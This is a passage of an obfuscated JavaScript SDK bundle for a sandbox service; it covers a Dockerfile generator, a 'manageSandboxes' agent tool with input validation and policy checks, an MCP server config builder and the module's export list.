Object['\x65\x6e\x74\x72\x69\x65\x73'](_0x4bb6c0[_0x36017e(0x292)]))_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x1f5)+_0x1b4d23+'\x3d'+_0x28c7f5);_0x118f5e[_0x36017e(0x1b5)]('');}if(_0x4bb6c0['\x65\x6e\x76']&&_0x2e5be7[_0x36017e(0x206)](Object[_0x36017e(0x1c3)](_0x4bb6c0[_0x36017e(0x228)])['\x6c\x65\x6e\x67\x74\x68'],0x0)){for(const [_0x19e980,_0x598055]of Object['\x65\x6e\x74\x72\x69\x65\x73'](_0x4bb6c0['\x65\x6e\x76']))_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x1ee)+_0x19e980+'\x3d\x22'+_0x598055+'\x22');_0x118f5e[_0x36017e(0x1b5)]('');}_0x4bb6c0[_0x36017e(0x27b)]&&(_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x25a)+_0x4bb6c0['\x77\x6f\x72\x6b\x64\x69\x72']),_0x118f5e[_0x36017e(0x1b5)](''));_0x4bb6c0[_0x36017e(0x262)]&&_0x4bb6c0[_0x36017e(0x262)][_0x36017e(0x24b)]>0x0&&(_0x118f5e[_0x36017e(0x1b5)]('\x23\x20\x49\x6e\x73\x74\x61\x6c\x6c\x20\x73\x79\x73\x74\x65\x6d\x20\x70\x61\x63\x6b\x61\x67\x65\x73'),_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x1cc)),_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x29c)+_0x4bb6c0['\x61\x70\x74\x50\x61\x63\x6b\x61\x67\x65\x73']['\x6a\x6f\x69\x6e']('\x20')+_0x36017e(0x1e5)),_0x118f5e['\x70\x75\x73\x68'](_0x2e5be7[_0x36017e(0x216)]),_0x118f5e['\x70\x75\x73\x68'](''));_0x4bb6c0[_0x36017e(0x23a)]&&(_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x235)+_0x4bb6c0[_0x36017e(0x23a)]),!(_0x4bb6c0[_0x36017e(0x278)]['\x69\x6e\x63\x6c\x75\x64\x65\x73'](_0x2e5be7[_0x36017e(0x210)])||_0x4bb6c0[_0x36017e(0x278)][_0x36017e(0x1e7)](_0x36017e(0x1bc))||_0x4bb6c0[_0x36017e(0x278)][_0x36017e(0x1e7)]('\x6d\x69\x6e\x69\x63\x6f\x6e\x64\x61'))&&_0x4bb6c0['\x62\x61\x73\x65\x49\x6d\x61\x67\x65'][_0x36017e(0x1e7)]('\x75\x62\x75\x6e\x74\x75')&&(_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x1cc)),_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x247)),_0x118f5e[_0x36017e(0x1b5)](_0x2e5be7[_0x36017e(0x277)]),_0x118f5e['\x70\x75\x73\x68'](_0x36017e(0x1be)+_0x4bb6c0[_0x36017e(0x23a)]+_0x36017e(0x205)+_0x4bb6c0['\x70\x79\x74\x68\x6f\x6e\x56\x65\x72\x73\x69\x6f\x6e']+_0x36017e(0x246)+_0x4bb6c0[_0x36017e(0x23a)]+_0x36017e(0x1b9)),_0x118f5e['\x70\x75\x73\x68'](_0x36017e(0x21f)),_0x118f5e[_0x36017e(0x1b5)](''),_0x118f5e[_0x36017e(0x1b5)]('\x52\x55\x4e\x20\x75\x70\x64\x61\x74\x65\x2d\x61\x6c\x74\x65\x72\x6e\x61\x74\x69\x76\x65\x73\x20\x2d\x2d\x69\x6e\x73\x74\x61\x6c\x6c\x20\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e\x20\x70\x79\x74\x68\x6f\x6e\x20\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e'+_0x4bb6c0[_0x36017e(0x23a)]+_0x36017e(0x285)),_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x224)+_0x4bb6c0[_0x36017e(0x23a)]+'\x20\x31'),_0x118f5e[_0x36017e(0x1b5)](''),_0x118f5e['\x70\x75\x73\x68'](_0x2e5be7[_0x36017e(0x232)])),_0x118f5e[_0x36017e(0x1b5)](''));if(_0x4bb6c0[_0x36017e(0x2a2)]&&_0x2e5be7[_0x36017e(0x230)](_0x4bb6c0['\x63\x6f\x6e\x64\x61'][_0x36017e(0x226)][_0x36017e(0x24b)],0x0)){_0x118f5e[_0x36017e(0x1b5)](_0x2e5be7[_0x36017e(0x208)]),_0x118f5e['\x70\x75\x73\x68'](_0x2e5be7[_0x36017e(0x263)]),_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x1c0)),_0x118f5e[_0x36017e(0x1b5)](_0x2e5be7['\x75\x57\x55\x79\x41']),_0x118f5e[_0x36017e(0x1b5)]('');const _0x4d7de9=(_0x4bb6c0[_0x36017e(0x2a2)]['\x63\x68\x61\x6e\x6e\x65\x6c\x73']||[_0x2e5be7[_0x36017e(0x1c9)]])[_0x36017e(0x1da)](_0x198270=>'\x2d\x63\x20'+_0x198270)[_0x36017e(0x1e4)]('\x20');_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x1c4)+_0x4d7de9+'\x20'+_0x4bb6c0[_0x36017e(0x2a2)]['\x70\x61\x63\x6b\x61\x67\x65\x73']['\x6a\x6f\x69\x6e']('\x20')+_0x36017e(0x1e5)),_0x118f5e[_0x36017e(0x1b5)](_0x2e5be7[_0x36017e(0x251)]),_0x118f5e[_0x36017e(0x1b5)](_0x2e5be7[_0x36017e(0x267)]),_0x118f5e[_0x36017e(0x1b5)]('');}_0x4bb6c0['\x70\x61\x63\x6b\x61\x67\x65\x73']&&_0x4bb6c0['\x70\x61\x63\x6b\x61\x67\x65\x73'][_0x36017e(0x24b)]>0x0&&(_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x23b)),_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x279)+_0x4bb6c0[_0x36017e(0x226)][_0x36017e(0x1e4)]('\x20')),_0x118f5e[_0x36017e(0x1b5)](''));if(_0x4bb6c0['\x63\x6f\x6d\x6d\x61\x6e\x64\x73']&&_0x4bb6c0[_0x36017e(0x242)][_0x36017e(0x24b)]>0x0){_0x118f5e['\x70\x75\x73\x68'](_0x36017e(0x29d));for(const _0x44fd59 of _0x4bb6c0['\x63\x6f\x6d\x6d\x61\x6e\x64\x73'])_0x118f5e['\x70\x75\x73\x68'](_0x36017e(0x1eb)+_0x44fd59);_0x118f5e[_0x36017e(0x1b5)]('');}if(_0x4bb6c0[_0x36017e(0x25f)])_0x118f5e['\x70\x75\x73\x68'](_0x36017e(0x1b7)+_0x4bb6c0['\x75\x73\x65\x72']);return _0x118f5e[_0x36017e(0x1e4)]('\x0a');}const MANAGE_SANDBOXES_TOOL_NAME=a0_0x57260e(0x2a6);function createManageSandboxesTool(_0x1df654,_0x450bad={}){const _0x8a0b2c=a0_0x57260e,_0x90bf77={'\x5a\x42\x44\x71\x48':'\x63\x61\x70\x61\x62\x69\x6c\x69\x74\x69\x65\x73','\x4d\x58\x50\x54\x66':_0x8a0b2c(0x26b),'\x43\x4f\x4f\x77\x72':function(_0xed4787,_0x2ac1cc){return _0xed4787(_0x2ac1cc);},'\x51\x75\x4d\x71\x6d':_0x8a0b2c(0x1e9),'\x50\x47\x41\x4a\x73':function(_0x1f9d8d,_0x4a461a,_0x1cb2e5){return _0x1f9d8d(_0x4a461a,_0x1cb2e5);},'\x42\x48\x58\x74\x50':_0x8a0b2c(0x22e),'\x41\x6d\x77\x65\x42':_0x8a0b2c(0x1f1),'\x41\x6c\x73\x64\x55':_0x8a0b2c(0x270),'\x72\x72\x46\x5a\x76':function(_0x1bdfa6,_0x7c3814,_0x526d16){return _0x1bdfa6(_0x7c3814,_0x526d16);},'\x41\x6f\x70\x79\x62':_0x8a0b2c(0x269),'\x6d\x6d\x66\x47\x6b':'\x63\x72\x65\x61\x74\x65\x57\x6f\x72\x6b\x73\x70\x61\x63\x65\x53\x6e\x61\x70\x73\x68\x6f\x74','\x43\x75\x54\x73\x42':_0x8a0b2c(0x1d9),'\x50\x59\x4b\x6f\x71':function(_0x2f6efe,_0x440886){return _0x2f6efe(_0x440886);},'\x71\x75\x41\x58\x54':_0x8a0b2c(0x294)};return{'\x6e\x61\x6d\x65':MANAGE_SANDBOXES_TOOL_NAME,'\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e':_0x90bf77['\x71\x75\x41\x58\x54'],'\x70\x61\x72\x61\x6d\x65\x74\x65\x72\x73':MANAGE_SANDBOXES_PARAMETERS,async '\x65\x78\x65\x63\x75\x74\x65'(_0x1f8761){const _0x216510=_0x8a0b2c;switch(_0x1f8761[_0x216510(0x21c)]){case _0x90bf77[_0x216510(0x231)]:return _0x1df654[_0x216510(0x1d5)][_0x216510(0x27a)]();case _0x216510(0x22d):return _0x1df654[_0x216510(0x1d5)]['\x63\x72\x65\x61\x74\x65'](applyToolPolicy(requireCreateOptions(_0x1f8761),_0x450bad[_0x216510(0x23f)]));case _0x90bf77[_0x216510(0x1d1)]:return _0x1df654[_0x216510(0x1d5)][_0x216510(0x26b)](applyToolPolicy(_0x90bf77['\x43\x4f\x4f\x77\x72'](requireCreateWithCoordinatorOptions,_0x1f8761),_0x450bad[_0x216510(0x23f)]));case _0x90bf77[_0x216510(0x27d)]:return _0x1df654[_0x216510(0x1d5)][_0x216510(0x1e9)]({'\x66\x6c\x65\x65\x74\x49\x64':requireString(_0x1f8761,_0x216510(0x22e))});case _0x216510(0x249):return _0x1df654[_0x216510(0x1d5)][_0x216510(0x249)](requireString(_0x1f8761,_0x216510(0x22e)));case _0x216510(0x240):return _0x1df654[_0x216510(0x1d5)]['\x61\x74\x74\x61\x63\x68\x4d\x61\x63\x68\x69\x6e\x65'](_0x90bf77[_0x216510(0x217)](requireString,_0x1f8761,_0x216510(0x22e)),requireMachine(_0x1f8761));case _0x216510(0x261):return _0x1df654[_0x216510(0x1d5)]['\x64\x65\x74\x61\x63\x68\x4d\x61\x63\x68\x69\x6e\x65'](requireString(_0x1f8761,_0x90bf77['\x42\x48\x58\x74\x50']),requireString(_0x1f8761,_0x216510(0x27e)));case _0x90bf77['\x41\x6d\x77\x65\x42']:return _0x1df654['\x66\x6c\x65\x65\x74\x73']['\x6d\x61\x6e\x69\x66\x65\x73\x74'](requireString(_0x1f8761,'\x66\x6c\x65\x65\x74\x49\x64'));case _0x216510(0x26c):return _0x1df654['\x66\x6c\x65\x65\x74\x73'][_0x216510(0x26c)](requireString(_0x1f8761,_0x216510(0x22e)));case _0x90bf77[_0x216510(0x1e2)]:return _0x1df654['\x66\x6c\x65\x65\x74\x73'][_0x216510(0x270)](requireString(_0x1f8761,_0x216510(0x22e)));case _0x216510(0x1c7):return _0x1df654[_0x216510(0x1d5)][_0x216510(0x1c7)](_0x90bf77[_0x216510(0x211)](requireString,_0x1f8761,_0x90bf77['\x42\x48\x58\x74\x50']));case _0x90bf77[_0x216510(0x1bd)]:return _0x1df654[_0x216510(0x1d5)][_0x216510(0x269)](requireString(_0x1f8761,_0x216510(0x22e)));case _0x90bf77[_0x216510(0x239)]:return _0x1df654[_0x216510(0x1d5)][_0x216510(0x1c8)](requireString(_0x1f8761,_0x90bf77[_0x216510(0x255)]));case _0x216510(0x1b3):return _0x1df654[_0x216510(0x1d5)][_0x216510(0x1b3)](_0x90bf77[_0x216510(0x217)](requireString,_0x1f8761,_0x216510(0x22e)),_0x90bf77[_0x216510(0x211)](requireString,_0x1f8761,_0x216510(0x25e)));case _0x90bf77[_0x216510(0x298)]:return _0x1df654[_0x216510(0x1d5)][_0x216510(0x1d9)](_0x90bf77[_0x216510(0x211)](requireString,_0x1f8761,_0x216510(0x22e)));default:throw new Error(_0x216510(0x28e)+_0x90bf77['\x50\x59\x4b\x6f\x71'](String,_0x1f8761['\x61\x63\x74\x69\x6f\x6e']));}}};}function requireString(_0x1db52a,_0x356136){const _0x12f9a3=a0_0x57260e,_0x42a251=_0x1db52a[_0x356136];if(typeof _0x42a251!==_0x12f9a3(0x22b)||_0x42a251[_0x12f9a3(0x24b)]===0x0)throw new Error(_0x12f9a3(0x275)+_0x356136);return _0x42a251;}function requireCreateOptions(_0x1a9c4a){const _0x515c0e=a0_0x57260e,_0x1bf777={'\x59\x4f\x73\x50\x77':_0x515c0e(0x1b2),'\x6e\x6c\x62\x44\x79':function(_0x2bd3e2,_0x425f1d){return _0x2bd3e2(_0x425f1d);}},_0x510499=_0x1a9c4a[_0x515c0e(0x1f2)];if(!_0x510499||typeof _0x510499!==_0x1bf777[_0x515c0e(0x2a4)])throw new Error('\x6d\x61\x6e\x61\x67\x65\x53\x61\x6e\x64\x62\x6f\x78\x65\x73\x20\x72\x65\x71\x75\x69\x72\x65\x73\x20\x6f\x70\x74\x69\x6f\x6e\x73');return _0x1bf777[_0x515c0e(0x22a)](rejectUserPolicy,_0x510499);}function requireCreateWithCoordinatorOptions(_0x139f0d){const _0x3c8598=a0_0x57260e,_0x3be978={'\x71\x61\x4c\x6a\x49':function(_0x351f62,_0x318d18){return _0x351f62!==_0x318d18;},'\x74\x6e\x76\x77\x73':_0x3c8598(0x28b),'\x4a\x7a\x4f\x77\x6a':function(_0x38333b,_0x3eccde){return _0x38333b(_0x3eccde);}},_0x518ec4=_0x139f0d[_0x3c8598(0x1f2)];if(!_0x518ec4||_0x3be978['\x71\x61\x4c\x6a\x49'](typeof _0x518ec4,_0x3c8598(0x1b2)))throw new Error(_0x3be978[_0x3c8598(0x1fb)]);return _0x3be978['\x4a\x7a\x4f\x77\x6a'](rejectUserPolicy,_0x518ec4);}function rejectUserPolicy(_0x159bf7){const _0x4ce9b1=a0_0x57260e,_0x270daa={'\x6a\x67\x6d\x4b\x79':_0x4ce9b1(0x23f)};if(_0x270daa['\x6a\x67\x6d\x4b\x79']in _0x159bf7&&_0x159bf7[_0x4ce9b1(0x23f)]!==void 0x0)throw new Error(_0x4ce9b1(0x1f8));return _0x159bf7;}function applyToolPolicy(_0x5df494,_0x501ec2){const _0x11a23b=a0_0x57260e;if(!_0x501ec2)throw new Error(_0x11a23b(0x29f));return{..._0x5df494,'\x70\x6f\x6c\x69\x63\x79':_0x501ec2};}function requireMachine(_0x27fec5){const _0x7254d7=a0_0x57260e,_0x2543a8={'\x48\x48\x72\x58\x4f':_0x7254d7(0x1b2),'\x61\x54\x44\x69\x47':_0x7254d7(0x27e)},_0x37759f=_0x27fec5[_0x7254d7(0x1d6)];if(!_0x37759f||typeof _0x37759f!==_0x2543a8[_0x7254d7(0x1fe)])throw new Error(_0x7254d7(0x268));const _0x4ec27e=_0x37759f;return requireString(_0x4ec27e,_0x2543a8[_0x7254d7(0x1b0)]),requireString(_0x4ec27e,_0x7254d7(0x1fa)),_0x37759f;}const fleetId={'\x74\x79\x70\x65':a0_0x57260e(0x22b),'\x70\x61\x74\x74\x65\x72\x6e':a0_0x57260e(0x1e6)},MANAGE_SANDBOXES_PARAMETERS={'\x74\x79\x70\x65':a0_0x57260e(0x1b2),'\x61\x64\x64\x69\x74\x69\x6f\x6e\x61\x6c\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73':![],'\x72\x65\x71\x75\x69\x72\x65\x64':['\x61\x63\x74\x69\x6f\x6e'],'\x70\x72\x6f\x70\x65\x72\x74\x69\x65\x73':{'\x61\x63\x74\x69\x6f\x6e':{'\x74\x79\x70\x65':a0_0x57260e(0x22b),'\x65\x6e\x75\x6d':[a0_0x57260e(0x27a),a0_0x57260e(0x22d),a0_0x57260e(0x26b),a0_0x57260e(0x1e9),a0_0x57260e(0x249),a0_0x57260e(0x240),a0_0x57260e(0x261),'\x6d\x61\x6e\x69\x66\x65\x73\x74',a0_0x57260e(0x26c),'\x74\x72\x61\x63\x65',a0_0x57260e(0x1c7),a0_0x57260e(0x269),a0_0x57260e(0x1c8),a0_0x57260e(0x1b3),a0_0x57260e(0x1d9)]},'\x66\x6c\x65\x65\x74\x49\x64':fleetId,'\x6d\x61\x63\x68\x69\x6e\x65\x49\x64':fleetId,'\x73\x6e\x61\x70\x73\x68\x6f\x74\x49\x64':{'\x74\x79\x70\x65':a0_0x57260e(0x22b),'\x6d\x69\x6e\x4c\x65\x6e\x67\x74\x68':0x1},'\x6f\x70\x74\x69\x6f\x6e\x73':{'\x74\x79\x70\x65':a0_0x57260e(0x1b2)},'\x6d\x61\x63\x68\x69\x6e\x65':{'\x74\x79\x70\x65':a0_0x57260e(0x1b2),'\x72\x65\x71\x75\x69\x72\x65\x64':[a0_0x57260e(0x27e),a0_0x57260e(0x1fa)],'\x61\x64\x64\x69\x74\x69\x6f\x6e\x61\x6c\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73':!![],'\x70\x72\x6f\x70\x65\x72\x74\x69\x65\x73':{'\x6d\x61\x63\x68\x69\x6e\x65\x49\x64':fleetId,'\x73\x61\x6e\x64\x62\x6f\x78\x49\x64':{'\x74\x79\x70\x65':a0_0x57260e(0x22b),'\x6d\x69\x6e\x4c\x65\x6e\x67\x74\x68':0x1,'\x6d\x61\x78\x4c\x65\x6e\x67\x74\x68':0x80}}}}},SANDBOX_MCP_SERVER_NAME='\x74\x61\x6e\x67\x6c\x65\x2d\x73\x61\x6e\x64\x62\x6f\x78';function buildSandboxMcpConfig(_0x14ccc4){const _0x427226=a0_0x57260e,_0x5c3976={'\x79\x4b\x59\x4e\x77':_0x427226(0x1d2)};if(!_0x14ccc4['\x73\x61\x6e\x64\x62\x6f\x78\x55\x72\x6c'])throw new Error(_0x427226(0x29e));if(!_0x14ccc4['\x61\x75\x74\x68\x54\x6f\x6b\x65\x6e'])throw new Error(_0x5c3976[_0x427226(0x26e)]);const _0x2d0063=_0x14ccc4[_0x427226(0x1bb)]??_0x427226(0x221),_0x11e07e=_0x14ccc4[_0x427226(0x1b1)][_0x427226(0x229)](/\/+$/,'');return{'\x73\x65\x72\x76\x65\x72\x4e\x61\x6d\x65':_0x2d0063,'\x63\x6f\x6e\x66\x69\x67':{'\x6d\x63\x70\x53\x65\x72\x76\x65\x72\x73':{[_0x2d0063]:{'\x74\x79\x70\x65':_0x427226(0x1ce),'\x75\x72\x6c':_0x11e07e+_0x427226(0x289),'\x68\x65\x61\x64\x65\x72\x73':{'\x41\x75\x74\x68\x6f\x72\x69\x7a\x61\x74\x69\x6f\x6e':_0x427226(0x2a5)+_0x14ccc4['\x61\x75\x74\x68\x54\x6f\x6b\x65\x6e']}}}}};}export{a0_0x474902 as AuthError,a0_0x2f4dff as CapabilityError,a0_0x30fa75 as CollaborationClient,a0_0x5a47c6 as CollaborationFileBridge,Image,ImageBuilder,a0_0x29320f as IntegrationsManager,a0_0x2f4d4e as IntelligenceClient,MANAGE_SANDBOXES_PARAMETERS,MANAGE_SANDBOXES_TOOL_NAME,a0_0x7dfdf6 as NetworkError,a0_0x2e4a39 as NotFoundError,a0_0x2bde1a as PartialFailureError,a0_0x309dc6 as QuotaError,SANDBOX_MCP_SERVER_NAME,a0_0x29943a as Sandbox,a0_0x29943a as SandboxClient,a0_0x10621e as SandboxError,a0_0x29c49e as SandboxFleet,a0_0x166efe as SandboxFleetClient,a0_0x294fa7 as SandboxInstance,a0_0x228fdc as SandboxSession,a0_0x1045f4 as ServerError,a0_0x25f0ff as StateError,a0_0x369dfb as TangleSandboxClient,a0_0x5d3b69 as TimeoutError,a0_0x36ae85 as ValidationError,a0_0x3a2aff as buildCollaborationDocumentId,buildSandboxMcpConfig,a0_0x7c5181 as buildTraceExportPayload,createConfidentialSandbox,createManageSandboxesTool,defineAgentProfile,defineGitHubResource,defineInlineResource,a0_0xf3faf9 as exportTraceBundle,generateAttestationNonce,generateDockerfile,mergeAgentProfiles,a0_0x3bfa95 as normalizeCollaborationPath,a0_0x5bd617 as otelTraceIdForTangleTrace,a0_0x4782a8 as parseCollaborationDocumentId,a0_0x2b2ced as parseSSEStream,startTeeAttestationHeartbeat,a0_0x3cd4cd as toOtelJson};